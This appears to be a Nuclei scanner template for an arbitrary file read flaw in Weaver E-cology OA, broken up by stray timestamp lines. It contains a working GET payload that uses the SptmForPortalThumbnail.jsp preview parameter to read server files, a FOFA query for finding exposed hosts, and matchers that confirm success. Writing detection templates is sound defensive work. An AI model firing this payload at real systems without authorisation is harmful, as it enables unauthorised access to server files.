2023-09-13 11:22:00 +00:00
id : weaver-sptmforportalthumbnail-lfi
info :
name : OA E-Weaver SptmForPortalThumbnail - Arbitrary File Read
author : SleepingBag945
severity : high
description : |
The controllable preview parameters of SptmForPortalThumbnail.jsp are not filtered and are directly spliced to the web root directory for file downloading.
reference :
- http://124.223.89.192/archives/e-cology8-14
- https://github.com/GREENHAT7/pxplan/blob/main/xray_pocs/yaml-poc-weaver-weaver_e_cology_oa-readfile-CT-479157.yml
metadata :
2023-10-14 11:27:55 +00:00
verified : true
2023-09-13 11:22:00 +00:00
max-request : 1
fofa-query : app="泛微-E-Weaver"
tags : weaver,e-cology,oa,lfi
http :
- method : GET
path :
- "{{BaseURL}}/portal/SptmForPortalThumbnail.jsp?preview=portal/SptmForPortalThumbnail.jsp"
matchers-condition : and
matchers :
- type : word
part : body
words :
- "weaver.general.BaseBean"
- "getServletConfig"
condition : and
- type : word
part : header
words :
- "image/png"
- type : status
status :
2023-10-14 11:27:55 +00:00
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a004730450220781ac3c5267b2f1315f8f10652cbfe1c4aaefd5b665e5e33b1b02617218dcce5022100e65c3fce695fe99f73741f270f84b9b53c5400a46d7e6e84908dfcd5180ea22d:922c64590222798bb761d5b6d8e72950
